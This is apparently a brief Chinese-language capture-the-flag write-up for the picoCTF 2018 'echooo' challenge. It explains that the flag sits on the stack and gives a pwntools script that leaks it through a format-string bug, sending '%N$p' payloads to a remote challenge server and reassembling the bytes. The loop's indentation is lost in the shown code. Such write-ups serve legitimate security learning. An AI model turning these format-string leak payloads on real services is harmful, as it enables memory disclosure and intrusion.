picoctf_2018_echooo
这题还是蛮有意思的
程序分析:
它已经读取flag在栈上了,我们用格式字符串泄露出来flag就好
要写个脚本转换下,倒着组合一下
exp:
from pwn import*
#r=process('./PicoCTF_2018_echooo')
r=remote('node4.buuoj.cn',29996)
offest=11+(0x8c-0x4c)/4
print offest
flag=''
for i in range(11):
payload='%'+str(i+27)+'$p'
r.sendline(payload)
r.recvuntil('> 0x')
num4=int((r.recvuntil('\n')[:-1]),16)
a=(num4&0xff000000)>>24
b=(num4&0x00ff0000)>>16
c=(num4&0x0000ff00)>>8
d=num4&0x000000ff
flag+=chr(d)+chr(c)+chr(b)+chr(a)
print flag
r.interactive()